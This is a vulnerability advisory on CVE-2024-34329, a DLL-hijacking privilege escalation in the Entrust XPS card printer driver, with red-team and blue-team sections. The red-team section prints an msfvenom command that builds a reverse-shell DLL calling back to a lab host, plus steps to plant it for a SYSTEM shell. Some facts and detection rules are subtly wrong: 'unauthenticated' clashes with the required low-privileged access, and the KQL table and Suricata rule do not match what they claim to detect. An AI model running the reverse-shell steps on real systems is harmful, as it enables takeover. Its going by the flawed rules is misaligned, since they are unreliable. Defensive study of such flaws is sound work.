CVE-2024-34329

Executive Summary

CVE-2024-34329 is a critical privilege escalation vulnerability in the Entrust Datacard XPS Card Printer Driver (versions 8.5 and earlier) that allows an unauthenticated attacker to execute arbitrary code as SYSTEM. The root cause is insecure permission settings on the driver’s installation directory, which permits a low-privileged user to place a malicious DLL that the driver loads with elevated privileges. This vulnerability is classified as a DLL hijacking attack (MITRE T1574). No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vendor has released a patch (dxp1-patch-E24-004) to address the issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a local privilege escalation in a hardware driver package.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.4 (High)
• Attack Vector: Local (AV:L) – requires physical or remote access to the system.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: None (PR:N) – attacker does not need prior authentication.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – impact stays within the driver.
• Confidentiality Impact: High (C:H) – full system access.
• Integrity Impact: High (I:H) – arbitrary code execution.
• Availability Impact: High (A:H) – potential denial of service.

Threat Level: High. Although no public exploit exists, the vulnerability is trivial to exploit once the insecure permissions are identified.

Deep Dive & Mechanics

The vulnerability resides in the Entrust Datacard XPS Card Printer Driver installation directory (typically C:\Program Files\Entrust\XPS Card Printer Driver\). Due to insecure permissions, the directory is writable by all users, including unauthenticated attackers. The driver loads several DLLs at startup or during operation. An attacker can place a malicious DLL (e.g., msvcp140.dll or vcruntime140.dll) in the driver’s directory. When the driver loads the DLL, the malicious code executes with SYSTEM privileges.

Attack Flow:

1. Attacker gains low-privileged access to the target system (e.g., via phishing or remote desktop).
2. Attacker identifies the writable driver directory.
3. Attacker drops a crafted DLL (e.g., evil.dll) renamed to a legitimate DLL name that the driver loads.
4. The driver loads the malicious DLL, executing code as SYSTEM.
5. Attacker achieves full system compromise.

Vulnerable vs. Patched Code

Vulnerable (<= 8.5 without patch):

• The driver directory has insecure ACLs (e.g., Everyone: Full Control).
• No integrity checks on loaded DLLs.

Patched (with dxp1-patch-E24-004):

• The driver directory permissions are hardened (e.g., only SYSTEM and Administrators have write access).
• The driver may use safe DLL search order or signed DLL verification.

Code Snippet (Conceptual):

// Vulnerable: LoadLibrary without path restriction
HMODULE hMod = LoadLibraryA("helper.dll"); // Loads from current directory first

// Patched: Use absolute path or safe search
HMODULE hMod = LoadLibraryA("C:\\Windows\\System32\\helper.dll");

Exploitation & Lab Setup

Red Team

Lab Environment:

• Windows 10/11 VM with Entrust Datacard XPS Card Printer Driver 8.5 installed.
• Low-privileged user account.

Exploitation Steps:

1. Identify writable directory: icacls "C:\Program Files\Entrust\XPS Card Printer Driver\"
2. Create malicious DLL (e.g., using msfvenom):

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o evil.dll
   

3. Rename DLL to a missing dependency (e.g., msvcp140.dll).
4. Copy DLL to driver directory:

   copy evil.dll "C:\Program Files\Entrust\XPS Card Printer Driver\msvcp140.dll"
   

5. Trigger driver load (e.g., restart print spooler or run printer utility).
6. Receive reverse shell as SYSTEM.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

• Monitor file writes to C:\Program Files\Entrust\XPS Card Printer Driver\ by non-admin users.
• Alert on unexpected DLL loads from the driver directory.
• Use Sysmon Event ID 7 (Image loaded) to detect DLLs loaded from non-standard paths.

Hunting:

• Query for processes loading DLLs from the driver directory:

  DeviceProcessEvents
  | where FileName endswith ".dll"
  | where FolderPath startswith "C:\\Program Files\\Entrust\\XPS Card Printer Driver"
  

Indicators of Compromise (IOCs)

• File Path: C:\Program Files\Entrust\XPS Card Printer Driver\*.dll (unexpected DLLs)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\XPSPrinter\ImagePath (modified)
• Process: XPSPrinter.exe loading unsigned DLLs
• Network: Outbound connections from XPSPrinter.exe (if reverse shell)
• Event Logs: Windows Security Event ID 4670 (permissions change on driver directory)

Detection Engineering

YARA Rule

rule CVE_2024_34329_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs in Entrust XPS Card Printer Driver directory"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34329"
    strings:
        $s1 = "C:\\Program Files\\Entrust\\XPS Card Printer Driver" nocase
        $s2 = ".dll" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: DLL Hijack in Entrust XPS Card Printer Driver
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects file creation of DLLs in the Entrust XPS driver directory by non-admin users
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'C:\Program Files\Entrust\XPS Card Printer Driver\'
        TargetFilename|endswith: '.dll'
    condition: selection
falsepositives:
    - Legitimate driver updates (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2024-34329 - Potential DLL download to Entrust driver directory";
    flow:to_server,established;
    content:"/Program Files/Entrust/XPS Card Printer Driver/"; nocase;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Apply Patch: Install dxp1-patch-E24-004 from Entrust.
2. Manual Mitigation: Restrict permissions on the driver directory:

   icacls "C:\Program Files\Entrust\XPS Card Printer Driver" /inheritance:r /grant SYSTEM:(OI)(CI)F /grant Administrators:(OI)(CI)F /grant Users:(OI)(CI)RX
   

3. Monitor: Enable file auditing on the driver directory.
4. Least Privilege: Ensure users run with minimal privileges.
5. Application Control: Use AppLocker or WDAC to block unsigned DLLs.

Valters IT